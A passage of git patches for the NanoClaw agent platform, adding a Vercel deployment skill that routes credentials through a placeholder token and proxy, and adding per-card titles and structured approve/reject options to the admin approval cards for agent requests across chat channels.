
NanoClaw Vercel Test

' > /tmp/vercel-test/index.html && vercel deploy --yes --prod --token placeholder --cwd /tmp/vercel-test +``` + +The output should include a live URL. Open it to verify the deployment worked. + +Clean up the test project after verifying: + +```bash +rm -rf /tmp/vercel-test +``` + +## Done + +The agent can now deploy web applications to Vercel. Key commands: + +- `vercel deploy --yes --prod --token placeholder` — deploy to production +- `vercel ls --token placeholder` — list deployments +- `vercel whoami --token placeholder` — check auth + +For the full command reference, the agent has the `vercel-cli` container skill loaded automatically. diff --git a/.claude/skills/add-vercel/container-skills/vercel-cli/SKILL.md b/.claude/skills/add-vercel/container-skills/vercel-cli/SKILL.md new file mode 100644 index 0000000..1f233e0 --- /dev/null +++ b/.claude/skills/add-vercel/container-skills/vercel-cli/SKILL.md @@ -0,0 +1,106 @@ +--- +name: vercel-cli +description: Deploy apps to Vercel. Use when asked to deploy, ship, or publish a web application, or manage Vercel projects, domains, and environment variables. +--- + +# Vercel CLI + +You can deploy web applications to Vercel using the `vercel` CLI. + +## Auth + +Auth is handled by OneCLI — the HTTPS_PROXY injects the real token into API requests automatically. The Vercel CLI requires a token to be present to skip its local credential check, so **always pass `--token placeholder`** on every command. OneCLI replaces this with the real token at the proxy level. + +Before any Vercel operation, verify auth: + +```bash +vercel whoami --token placeholder +``` + +If this fails with an auth error, collect the credential: + +``` +trigger_credential_collection( + name: "Vercel API Token", + hostPattern: "api.vercel.com", + headerName: "Authorization", + valueFormat: "Bearer {value}", + description: "Vercel personal access token. Create one at https://vercel.com/account/tokens" +) +``` + +Then retry `vercel whoami`. + +## Deploying + +Always use `--yes` to skip interactive prompts and `--token placeholder` for auth (OneCLI replaces with real token). + +```bash +# Deploy to production +vercel deploy --yes --prod --token placeholder + +# Deploy from a specific directory +vercel deploy --yes --prod --token placeholder --cwd /path/to/project + +# Preview deployment (not production) +vercel deploy --yes --token placeholder +``` + +After deploying, verify the live URL: + +```bash +# Check deployment status +vercel inspect --token placeholder +``` + +If you have `agent-browser` available, open the deployed URL and take a screenshot to visually verify. + +## Project Management + +```bash +# Link to an existing Vercel project (non-interactive) +vercel link --yes --token placeholder + +# List recent deployments +vercel ls --token placeholder + +# List all projects +vercel project ls --token placeholder +``` + +## Domains + +```bash +# List domains +vercel domains ls --token placeholder + +# Add a domain to the current project +vercel domains add example.com --token placeholder +``` + +## Environment Variables + +```bash +# Pull env vars from Vercel to local .env +vercel env pull --token placeholder + +# Add an env var (use echo to pipe the value — avoids interactive prompt) +echo "value" | vercel env add VAR_NAME production --token placeholder +``` + +## Common Errors + +| Error | Fix | +|-------|-----| +| `Error: No framework detected` | Ensure the project has a `package.json` with a `build` script, or set the framework in `vercel.json` | +| `Error: Rate limited` | Wait and retry. Don't loop — report to user | +| `Error: You have reached your project limit` | User needs to upgrade Vercel plan or delete unused projects | +| `ENOTFOUND api.vercel.com` | Network issue. Check proxy connectivity | +| Auth error after `vercel whoami` | Credential may be expired. Re-run `trigger_credential_collection` | + +## Best Practices + +- Run `npm run build` locally before deploying to catch build errors early +- Use `--cwd` instead of `cd` to keep your working directory stable +- For Next.js projects, `vercel deploy` auto-detects the framework — no extra config needed +- Use `vercel.json` only when you need custom build settings, rewrites, or headers diff --git a/.claude/skills/setup/SKILL.md b/.claude/skills/setup/SKILL.md index 0543e59..0cb24ea 100644 --- a/.claude/skills/setup/SKILL.md +++ b/.claude/skills/setup/SKILL.md @@ -338,6 +338,15 @@ The `/manage-channels` skill reads each channel's `## Channel Info` section from **This step is required.** Without it, channels are installed but not wired — messages will be silently dropped because the router has no agent group to route to. +## 7b. Dashboard & Web Applications + +AskUserQuestion: Do you want to create a dashboard and build web applications? + +1. **Yes (recommended)** — description: "Get a NanoClaw dashboard to monitor your agents and build custom websites however you want. Deploys to Vercel." +2. **Not now** — description: "You can add this later with `/add-vercel`." + +If yes: invoke `/add-vercel`. + ## 8. Verify Run `npx tsx setup/index.ts --step verify` and parse the status block. From d92d75e17394f8d56cba23ce1d320c73044d7046 Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Tue, 14 Apr 2026 14:49:01 +0000 Subject: [PATCH 144/485] feat(v2/approvals): per-card titles and structured options MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Approval cards now carry a required title (Add MCP Request, Install Packages Request, Rebuild Request, Credentials Request) and structured options with distinct pre-click label, post-click selectedLabel (e.g. "✅ Approved" / "❌ Rejected"), and value used for click routing. The title and normalized options are persisted in pending_questions so the post-click card edit can render the correct per-type title and selected label on both chat-sdk channels and Discord interactions. Co-Authored-By: Claude Opus 4.6 (1M context) --- .../agent-runner/src/mcp-tools/interactive.ts | 40 ++++++++++++--- docs/v2-agent-runner-details.md | 3 +- docs/v2-api-details.md | 7 ++- docs/v2-architecture-draft.md | 2 +- src/channels/ask-question.ts | 46 +++++++++++++++++ src/channels/chat-sdk-bridge.ts | 38 +++++++++++--- src/channels/whatsapp.ts | 30 +++++++----- src/db/db-v2.test.ts | 6 +++ src/db/migrations/001-initial.ts | 2 + src/db/schema.ts | 2 + src/db/sessions.ts | 25 +++++++--- src/delivery.ts | 49 +++++++++++++------ src/index.ts | 2 +- src/onecli-approvals.ts | 8 ++- src/types.ts | 2 + 15 files changed, 211 insertions(+), 51 deletions(-) create mode 100644 src/channels/ask-question.ts diff --git a/container/agent-runner/src/mcp-tools/interactive.ts b/container/agent-runner/src/mcp-tools/interactive.ts index 330c50c..82833c7 100644 --- a/container/agent-runner/src/mcp-tools/interactive.ts +++ b/container/agent-runner/src/mcp-tools/interactive.ts @@ -37,26 +37,53 @@ export const askUserQuestion: McpToolDefinition = { tool: { name: 'ask_user_question', description: - 'Ask the user a multiple-choice question and wait for their response. This is a blocking call — execution pauses until the user responds or the timeout expires.', + 'Ask the user a multiple-choice question and wait for their response. This is a blocking call — execution pauses until the user responds or the timeout expires. Provide a short card title (e.g. "Confirm deletion") and an array of options — each option may be a plain string (used as both button label and result value) or an object { label, selectedLabel?, value? } where selectedLabel is the text shown on the card after the user clicks.', inputSchema: { type: 'object' as const, properties: { + title: { type: 'string', description: 'Short card title shown above the question' }, question: { type: 'string', description: 'The question to ask' }, options: { type: 'array', - items: { type: 'string' }, - description: 'Button labels for the user to choose from', + items: { + oneOf: [ + { type: 'string' }, + { + type: 'object', + properties: { + label: { type: 'string' }, + selectedLabel: { type: 'string' }, + value: { type: 'string' }, + }, + required: ['label'], + }, + ], + }, + description: 'Options for the user to choose from (string or {label, selectedLabel?, value?})', }, timeout: { type: 'number', description: 'Timeout in seconds (default: 300)' }, }, - required: ['question', 'options'], + required: ['title', 'question', 'options'], }, }, async handler(args) { + const title = args.title as string; const question = args.question as string; - const options = args.options as string[]; + const rawOptions = args.options as unknown[]; const timeout = ((args.timeout as number) || 300) * 1000; - if (!question || !options?.length) return err('question and options are required'); + if (!title || !question || !rawOptions?.length) { + return err('title, question, and options are required'); + } + + const options = rawOptions.map((o) => { + if (typeof o === 'string') return { label: o, selectedLabel: o, value: o }; + const obj = o as { label: string; selectedLabel?: string; value?: string }; + return { + label: obj.label, + selectedLabel: obj.selectedLabel ?? obj.label, + value: obj.value ?? obj.label, + }; + }); const questionId = generateId(); const r = routing(); @@ -71,6 +98,7 @@ export const askUserQuestion: McpToolDefinition = { content: JSON.stringify({ type: 'ask_question', questionId, + title, question, options, }), diff --git a/docs/v2-agent-runner-details.md b/docs/v2-agent-runner-details.md index 1059213..30f8af8 100644 --- a/docs/v2-agent-runner-details.md +++ b/docs/v2-agent-runner-details.md @@ -512,8 +512,9 @@ Send an interactive question and wait for the user's response. This is a **block { name: 'ask_user_question', params: { + title: string, // short card title, e.g. "Confirm deletion" question: string, - options: string[], // button labels + options: (string | { label: string; selectedLabel?: string; value?: string })[], timeout?: number, // seconds (default: 300) } } diff --git a/docs/v2-api-details.md b/docs/v2-api-details.md index 02ba7c5..37b3188 100644 --- a/docs/v2-api-details.md +++ b/docs/v2-api-details.md @@ -309,8 +309,13 @@ function createWhatsAppChannel(): ChannelAdapter { { "operation": "ask_question", "questionId": "q-123", + "title": "Failing Test", "question": "How should we handle the failing test?", - "options": ["Skip it", "Fix and retry", "Abort deployment"] + "options": [ + "Skip it", + { "label": "Fix and retry", "selectedLabel": "✅ Fixing", "value": "fix" }, + { "label": "Abort deployment", "selectedLabel": "❌ Aborted", "value": "abort" } + ] } ``` diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md index b3a9db9..271a2b0 100644 --- a/docs/v2-architecture-draft.md +++ b/docs/v2-architecture-draft.md @@ -350,7 +350,7 @@ Agent calls `add_reaction` tool with message ID and emoji. Agent-runner writes m { "text": "LGTM" } // Interactive card -{ "operation": "ask_question", "question": "Approve deployment?", "options": ["Yes", "No", "Defer"] } +{ "operation": "ask_question", "title": "Deploy", "question": "Approve deployment?", "options": ["Yes", "No", "Defer"] } // Edit existing message { "operation": "edit", "messageId": "3", "text": "Updated: LGTM with minor comments" } diff --git a/src/channels/ask-question.ts b/src/channels/ask-question.ts new file mode 100644 index 0000000..9f71417 --- /dev/null +++ b/src/channels/ask-question.ts @@ -0,0 +1,46 @@ +/** + * Shared ask_question payload schema + normalization. + * + * Producers (host-side approvals, container-side ask_user_question MCP tool) + * emit an `ask_question` payload. Options may be bare strings for ergonomics, + * but are normalized here into a consistent shape before delivery, persistence, + * and rendering. + */ + +export interface OptionInput { + label: string; + selectedLabel?: string; + value?: string; +} + +export type RawOption = string | OptionInput; + +export interface NormalizedOption { + label: string; + selectedLabel: string; + value: string; +} + +export function normalizeOption(raw: RawOption): NormalizedOption { + if (typeof raw === 'string') { + return { label: raw, selectedLabel: raw, value: raw }; + } + const label = raw.label; + return { + label, + selectedLabel: raw.selectedLabel ?? label, + value: raw.value ?? label, + }; +} + +export function normalizeOptions(raws: RawOption[]): NormalizedOption[] { + return raws.map(normalizeOption); +} + +export interface AskQuestionPayload { + type: 'ask_question'; + questionId: string; + title: string; + question: string; + options: NormalizedOption[]; +} diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 21c5088..e4ba6b5 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -21,6 +21,8 @@ import { import { log } from '../log.js'; import { SqliteStateAdapter } from '../state-sqlite.js'; import { registerWebhookAdapter } from '../webhook-server.js'; +import { getPendingQuestion } from '../db/sessions.js'; +import { normalizeOptions, type NormalizedOption } from './ask-question.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig, InboundMessage } from './adapter.js'; /** Adapter with optional gateway support (e.g., Discord). */ @@ -243,11 +245,17 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter const selectedOption = event.value || ''; const userId = event.user?.userId || ''; + // Look up the pending question BEFORE dispatching onAction (which deletes it). + const pq = getPendingQuestion(questionId); + const title = pq?.title ?? '❓ Question'; + const matched = pq?.options.find((o) => o.value === selectedOption); + const selectedLabel = matched?.selectedLabel ?? selectedOption ?? '(clicked)'; + // Update the card to show the selected answer and remove buttons try { const tid = event.threadId; await adapter.editMessage(tid, event.messageId, { - markdown: `❓ **Question**\n\n${selectedOption ? `✅ **${selectedOption}**` : '(clicked)'}`, + markdown: `${title}\n\n${selectedLabel}`, }); } catch (err) { log.warn('Failed to update card after action', { err }); @@ -342,17 +350,27 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter // Ask question card — render as Card with buttons if (content.type === 'ask_question' && content.questionId && content.options) { const questionId = content.questionId as string; - const options = content.options as string[]; + const title = content.title as string; + const question = content.question as string; + if (!title) { + log.error('ask_question missing required title — skipping delivery', { questionId }); + return; + } + const options: NormalizedOption[] = normalizeOptions(content.options as never); const card = Card({ - title: '❓ Question', + title, children: [ - CardText(content.question as string), - Actions(options.map((opt) => Button({ id: `ncq:${questionId}:${opt}`, label: opt, value: opt }))), + CardText(question), + Actions( + options.map((opt) => + Button({ id: `ncq:${questionId}:${opt.value}`, label: opt.label, value: opt.value }), + ), + ), ], }); const result = await adapter.postMessage(tid, { card, - fallbackText: `${content.question}\nOptions: ${options.join(', ')}`, + fallbackText: `${title}\n\n${question}\nOptions: ${options.map((o) => o.label).join(', ')}`, }); return result?.id; } @@ -502,6 +520,10 @@ async function handleForwardedEvent( const originalEmbeds = ((interaction.message as Record)?.embeds as Array>) || []; const originalDescription = (originalEmbeds[0]?.description as string) || ''; + const pq = questionId ? getPendingQuestion(questionId) : undefined; + const cardTitle = pq?.title ?? ((originalEmbeds[0]?.title as string) || '❓ Question'); + const matchedOpt = pq?.options.find((o) => o.value === selectedOption); + const selectedLabel = matchedOpt?.selectedLabel ?? selectedOption ?? customId; try { await fetch(`https://discord.com/api/v10/interactions/${interactionId}/${interactionToken}/callback`, { method: 'POST', @@ -511,8 +533,8 @@ async function handleForwardedEvent( data: { embeds: [ { - title: '❓ Question', - description: `${originalDescription}\n\n✅ **${selectedOption || customId}**`, + title: cardTitle, + description: `${originalDescription}\n\n${selectedLabel}`, }, ], components: [], // remove buttons diff --git a/src/channels/whatsapp.ts b/src/channels/whatsapp.ts index af43c72..e5723df 100644 --- a/src/channels/whatsapp.ts +++ b/src/channels/whatsapp.ts @@ -32,6 +32,7 @@ import { ASSISTANT_HAS_OWN_NUMBER, ASSISTANT_NAME, DATA_DIR } from '../config.js import { readEnvFile } from '../env.js'; import { log } from '../log.js'; import { registerChannelAdapter } from './channel-registry.js'; +import { normalizeOptions, type NormalizedOption } from './ask-question.js'; import type { ChannelAdapter, ChannelSetup, @@ -69,7 +70,7 @@ const SENT_MESSAGE_CACHE_MAX = 256; const RECONNECT_DELAY_MS = 5000; const PENDING_QUESTIONS_MAX = 64; -/** Normalize an option name to a slash command: "Approve" → "/approve" */ +/** Normalize an option label to a slash command: "Approve" → "/approve" */ function optionToCommand(option: string): string { return '/' + option.toLowerCase().replace(/\s+/g, '-'); } @@ -183,7 +184,7 @@ registerChannelAdapter('whatsapp', { string, { questionId: string; - options: string[]; + options: NormalizedOption[]; } >(); @@ -549,15 +550,17 @@ registerChannelAdapter('whatsapp', { const pending = pendingQuestions.get(chatJid); if (pending && content.startsWith('/')) { const cmd = content.trim().toLowerCase(); - const matched = pending.options.find((o) => optionToCommand(o) === cmd); + const matched = pending.options.find((o) => optionToCommand(o.label) === cmd); if (matched) { const voterName = msg.pushName || sender.split('@')[0]; - setupConfig.onAction(pending.questionId, matched, sender); + setupConfig.onAction(pending.questionId, matched.value, sender); pendingQuestions.delete(chatJid); - // Past tense for common actions: Approve→Approved, Reject→Rejected - const label = matched.endsWith('e') ? `${matched}d` : `${matched}ed`; - await sendRawMessage(chatJid, `*${label}* by ${voterName}`); - log.info('Question answered', { questionId: pending.questionId, matched, voterName }); + await sendRawMessage(chatJid, `${matched.selectedLabel} by ${voterName}`); + log.info('Question answered', { + questionId: pending.questionId, + value: matched.value, + voterName, + }); continue; // Don't forward this reply to the agent } } @@ -621,11 +624,16 @@ registerChannelAdapter('whatsapp', { // Ask question → text with slash command replies if (content.type === 'ask_question' && content.questionId && content.options) { const questionId = content.questionId as string; + const title = content.title as string; const question = content.question as string; - const options = content.options as string[]; + if (!title) { + log.error('ask_question missing required title — skipping delivery', { questionId }); + return; + } + const options: NormalizedOption[] = normalizeOptions(content.options as never); - const optionLines = options.map((o) => ` ${optionToCommand(o)}`).join('\n'); - const text = `${question}\n\nReply with:\n${optionLines}`; + const optionLines = options.map((o) => ` ${optionToCommand(o.label)}`).join('\n'); + const text = `*${title}*\n\n${question}\n\nReply with:\n${optionLines}`; const msgId = await sendRawMessage(platformId, text); if (msgId) { pendingQuestions.set(platformId, { questionId, options }); diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index 8e7f05d..52e89ea 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -375,11 +375,15 @@ describe('pending questions', () => { platform_id: 'chan-1', channel_type: 'discord', thread_id: null, + title: 'Test', + options: [{ label: 'Yes', selectedLabel: 'Yes', value: 'yes' }], created_at: now(), }); const result = getPendingQuestion('q-1'); expect(result).toBeDefined(); expect(result!.session_id).toBe('sess-1'); + expect(result!.title).toBe('Test'); + expect(result!.options[0].value).toBe('yes'); }); it('should delete', () => { @@ -390,6 +394,8 @@ describe('pending questions', () => { platform_id: null, channel_type: null, thread_id: null, + title: 'Test', + options: [{ label: 'Yes', selectedLabel: 'Yes', value: 'yes' }], created_at: now(), }); deletePendingQuestion('q-1'); diff --git a/src/db/migrations/001-initial.ts b/src/db/migrations/001-initial.ts index d32b3c2..5dec523 100644 --- a/src/db/migrations/001-initial.ts +++ b/src/db/migrations/001-initial.ts @@ -61,6 +61,8 @@ export const migration001: Migration = { platform_id TEXT, channel_type TEXT, thread_id TEXT, + title TEXT NOT NULL, + options_json TEXT NOT NULL, created_at TEXT NOT NULL ); `); diff --git a/src/db/schema.ts b/src/db/schema.ts index 6f8a803..9473c42 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -64,6 +64,8 @@ CREATE TABLE pending_questions ( platform_id TEXT, channel_type TEXT, thread_id TEXT, + title TEXT NOT NULL, + options_json TEXT NOT NULL, created_at TEXT NOT NULL ); `; diff --git a/src/db/sessions.ts b/src/db/sessions.ts index 75aacd2..129f6da 100644 --- a/src/db/sessions.ts +++ b/src/db/sessions.ts @@ -75,16 +75,29 @@ export function deleteSession(id: string): void { export function createPendingQuestion(pq: PendingQuestion): void { getDb() .prepare( - `INSERT INTO pending_questions (question_id, session_id, message_out_id, platform_id, channel_type, thread_id, created_at) - VALUES (@question_id, @session_id, @message_out_id, @platform_id, @channel_type, @thread_id, @created_at)`, + `INSERT INTO pending_questions (question_id, session_id, message_out_id, platform_id, channel_type, thread_id, title, options_json, created_at) + VALUES (@question_id, @session_id, @message_out_id, @platform_id, @channel_type, @thread_id, @title, @options_json, @created_at)`, ) - .run(pq); + .run({ + question_id: pq.question_id, + session_id: pq.session_id, + message_out_id: pq.message_out_id, + platform_id: pq.platform_id, + channel_type: pq.channel_type, + thread_id: pq.thread_id, + title: pq.title, + options_json: JSON.stringify(pq.options), + created_at: pq.created_at, + }); } export function getPendingQuestion(questionId: string): PendingQuestion | undefined { - return getDb().prepare('SELECT * FROM pending_questions WHERE question_id = ?').get(questionId) as - | PendingQuestion - | undefined; + const row = getDb() + .prepare('SELECT * FROM pending_questions WHERE question_id = ?') + .get(questionId) as (Omit & { options_json: string }) | undefined; + if (!row) return undefined; + const { options_json, ...rest } = row; + return { ...rest, options: JSON.parse(options_json) }; } export function deletePendingQuestion(questionId: string): void { diff --git a/src/delivery.ts b/src/delivery.ts index fdfc837..51bb7b5 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -40,6 +40,7 @@ import { resumeTask, } from './db/session-db.js'; import { log } from './log.js'; +import { normalizeOptions, type RawOption } from './channels/ask-question.js'; import { openInboundDb, openOutboundDb, @@ -110,11 +111,17 @@ function notifyAgent(session: Session, text: string): void { * The admin's button click routes via the existing ncq: card infrastructure to * handleApprovalResponse in index.ts, which completes the action. */ +const APPROVAL_OPTIONS: RawOption[] = [ + { label: 'Approve', selectedLabel: '✅ Approved', value: 'approve' }, + { label: 'Reject', selectedLabel: '❌ Rejected', value: 'reject' }, +]; + async function requestApproval( session: Session, agentName: string, action: 'install_packages' | 'request_rebuild' | 'add_mcp_server', payload: Record, + title: string, question: string, ): Promise { const adminGroup = getAdminAgentGroup(); @@ -145,8 +152,9 @@ async function requestApproval( JSON.stringify({ type: 'ask_question', questionId: approvalId, + title, question, - options: ['Approve', 'Reject'], + options: APPROVAL_OPTIONS, }), ); } catch (err) { @@ -356,16 +364,26 @@ async function deliverMessage( // Track pending questions for ask_user_question flow if (content.type === 'ask_question' && content.questionId) { - createPendingQuestion({ - question_id: content.questionId, - session_id: session.id, - message_out_id: msg.id, - platform_id: msg.platform_id, - channel_type: msg.channel_type, - thread_id: msg.thread_id, - created_at: new Date().toISOString(), - }); - log.info('Pending question created', { questionId: content.questionId, sessionId: session.id }); + const title = content.title as string | undefined; + const rawOptions = content.options as unknown; + if (!title || !Array.isArray(rawOptions)) { + log.error('ask_question missing required title/options — not persisting', { + questionId: content.questionId, + }); + } else { + createPendingQuestion({ + question_id: content.questionId, + session_id: session.id, + message_out_id: msg.id, + platform_id: msg.platform_id, + channel_type: msg.channel_type, + thread_id: msg.thread_id, + title, + options: normalizeOptions(rawOptions as never), + created_at: new Date().toISOString(), + }); + log.info('Pending question created', { questionId: content.questionId, sessionId: session.id }); + } } // Channel delivery @@ -584,7 +602,8 @@ async function handleSystemAction( args: (content.args as string[]) || [], env: (content.env as Record) || {}, }, - `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`, + 'Add MCP Request', + `Agent "${agentGroup.name}" is attempting to add a new MCP server:\n${serverName} (${command})`, ); break; } @@ -633,7 +652,8 @@ async function handleSystemAction( agentGroup.name, 'install_packages', { apt, npm, reason }, - `Agent "${agentGroup.name}" requests package install + container rebuild:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, + 'Install Packages Request', + `Agent "${agentGroup.name}" is attempting to install a package + rebuild container:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, ); break; } @@ -650,7 +670,8 @@ async function handleSystemAction( agentGroup.name, 'request_rebuild', { reason }, - `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`, + 'Rebuild Request', + `Agent "${agentGroup.name}" is attempting to rebuild container.${reason ? `\nReason: ${reason}` : ''}`, ); break; } diff --git a/src/index.ts b/src/index.ts index 77f4cb6..fada49a 100644 --- a/src/index.ts +++ b/src/index.ts @@ -262,7 +262,7 @@ async function handleApprovalResponse( }); }; - if (selectedOption !== 'Approve') { + if (selectedOption !== 'approve') { notify(`Your ${approval.action} request was rejected by admin.`); log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId }); deletePendingApproval(approval.approval_id); diff --git a/src/onecli-approvals.ts b/src/onecli-approvals.ts index c8d6558..7030d7e 100644 --- a/src/onecli-approvals.ts +++ b/src/onecli-approvals.ts @@ -71,7 +71,7 @@ export function resolveOneCLIApproval(approvalId: string, selectedOption: string pending.delete(approvalId); clearTimeout(state.timer); - const decision: Decision = selectedOption === 'Approve' ? 'approve' : 'deny'; + const decision: Decision = selectedOption === 'approve' ? 'approve' : 'deny'; updatePendingApprovalStatus(approvalId, decision === 'approve' ? 'approved' : 'rejected'); // Card is auto-edited to "✅